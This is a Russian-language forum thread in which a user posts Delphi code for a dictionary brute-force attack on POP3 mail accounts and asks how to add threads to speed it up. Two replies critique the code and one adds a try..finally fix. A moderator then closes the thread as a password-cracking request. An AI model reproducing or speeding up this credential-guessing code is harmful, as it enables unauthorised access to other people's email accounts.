|
|
Регистрация | << Правила форума >> | FAQ | Пользователи | Календарь | Поиск | Сообщения за сегодня | Все разделы прочитаны |
|
Опции темы | Поиск в этой теме | Опции просмотра |
#1
|
|||
|
|||
Использование потоков
Здраствуйте срочно нужна помощь по использованию потоков в данном приложение, чтобы увеличить скорость перебора,
Кто может скажите пожалуйста что надо дописать. Если потребуется могу соурс выложить. Зарание огромное спасибо. Код:
unit brut; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, IdAntiFreezeBase, IdAntiFreeze, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdMessageClient, IdPOP3, Buttons, StdCtrls, IdThreadComponent, IdThreadMgrPool, IdThreadMgr, IdThreadMgrDefault, ComCtrls; type TForm1 = class(TForm) NameEdit: TEdit; PassEdit: TEdit; ServerNameEdit: TEdit; PortEdit: TEdit; Label1: TLabel; Label2: TLabel; Label3: TLabel; Label4: TLabel; Button1: TButton; BitBtn1: TBitBtn; IdPOP: TIdPOP3; IdAntiFreeze1: TIdAntiFreeze; procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.Button1Click(Sender: TObject); var LoginStrings, PassStrings:TStrings; i, j:Integer; begin //Создаем массивы строк LoginStrings:=TStringList.Create; PassStrings:=TStringList.Create; //Загружаем варианты — справочники имен и паролей LoginStrings.LoadFromFile(NameEdit.Text); PassStrings.LoadFromFile(PassEdit.Text) ; //Устанавливаем адрес и порт сервера IdPOP.Host := ServerNameEdit.Text; IdPOP.Port := StrToInt(PortEdit.Text); //Начинаем перебор for i:=0 to LoginStrings.Count-1 do for j:=0 to PassStrings.Count-1 do begin //Передаем имя и пароль компоненту IdPOP.Username := LoginStrings.Strings[i]; IdPOP.Password := PassStrings.Strings[j]; //Попытка соединения. try IdPOP.Connect; except end; //Если соединение установлено, то выводим об этом сообщение if IdPOP.Connected then begin //Показываем найденный пароль Application.MessageBox(PChar('Имя:'+LoginStrings.Strings[i]+ 'Пароль:'+PassStrings.Strings[j]), 'Пароль найден'); IdPOP.Disconnect; Exit; end; end; //Уничтожаем массивы строк LoginStrings.Free; PassStrings.Free; end; end. |
#2
|
|||
|
|||
Странный такой код.
POP сервер хранит уникальные пары "логин-пароль". И никак не может быть чтобы у одного имени пользователя было несколько паролей. А в коде вложенные циклы как раз это и пытаются делать, т.е. устанавливая логин на первой итерации в цикле for i:=0 ... перебираются все пароли из PassStrings в цикле for j:=0 ... С одним и тем же логином происходят попытки соединится с сервером со всеми возможными паролями. На второй итерации берется другой логин и опять происходят попытки коннектов со всеми паролями, ну, и т.д. Это логическая ошибка, которая приводит к тому что на какой-либо итерации connect обязательно не сработает. Вторая ошибка уже техническая. Exit после первого же успешного коннекта выполняет выход из процедуры, что не позволит освободить массивы строк - произойдет утечка памяти. И циклы попыток соединений с сервером прервутся. И третье. Если делать лишние итерации как показано выше, то бесполезные попытки коннектов приводят к увеличению времени работы этой процедуры. Никакие потоки (thread'ы) здесь не помогут, т.к. само по себе соединение с POP сервером достаточно длительный процесс. Лучше оптимизировать код, убрав лишние итерации и процедура будет работать много быстрее. А о потоках лучше почитать классиков: http://forum.vingrad.ru/forum/topic-60076.html Не забывайте делать резервные копии |
#3
|
|||
|
|||
Позволю себе не согласиться с san-46. Логически все верно, для каждого логина перебираются возможные варианты пароля из словаря. И лишних итераций вроде быть не должно.
Я бы обернул всю процедуру в try..finally: Код:
procedure TForm1.Button1Click(Sender: TObject); var LoginStrings, PassStrings:TStrings; i, j:Integer; begin //Создаем массивы строк try LoginStrings:=TStringList.Create; PassStrings:=TStringList.Create; //Загружаем варианты — справочники имен и паролей LoginStrings.LoadFromFile(NameEdit.Text); PassStrings.LoadFromFile(PassEdit.Text) ; //Устанавливаем адрес и порт сервера IdPOP.Host := ServerNameEdit.Text; IdPOP.Port := StrToInt(PortEdit.Text); //Начинаем перебор for i:=0 to LoginStrings.Count-1 do for j:=0 to PassStrings.Count-1 do begin //Передаем имя и пароль компоненту IdPOP.Username := LoginStrings.Strings[i]; IdPOP.Password := PassStrings.Strings[j]; //Попытка соединения. try IdPOP.Connect; except end; //Если соединение установлено, то выводим об этом сообщение if IdPOP.Connected then begin //Показываем найденный пароль Application.MessageBox(PChar('Имя:'+LoginStrings.Strings[i]+ 'Пароль:'+PassStrings.Strings[j]), 'Пароль найден'); IdPOP.Disconnect; Exit; end; end; //Уничтожаем массивы строк finally LoginStrings.Free; PassStrings.Free; end; end; |
#4
|
|||
|
|||
Ага, реализация алгоритма взлома пароля по заранее заданному словарю.
Пункт 2.7 правил. Так что тему закрываем. |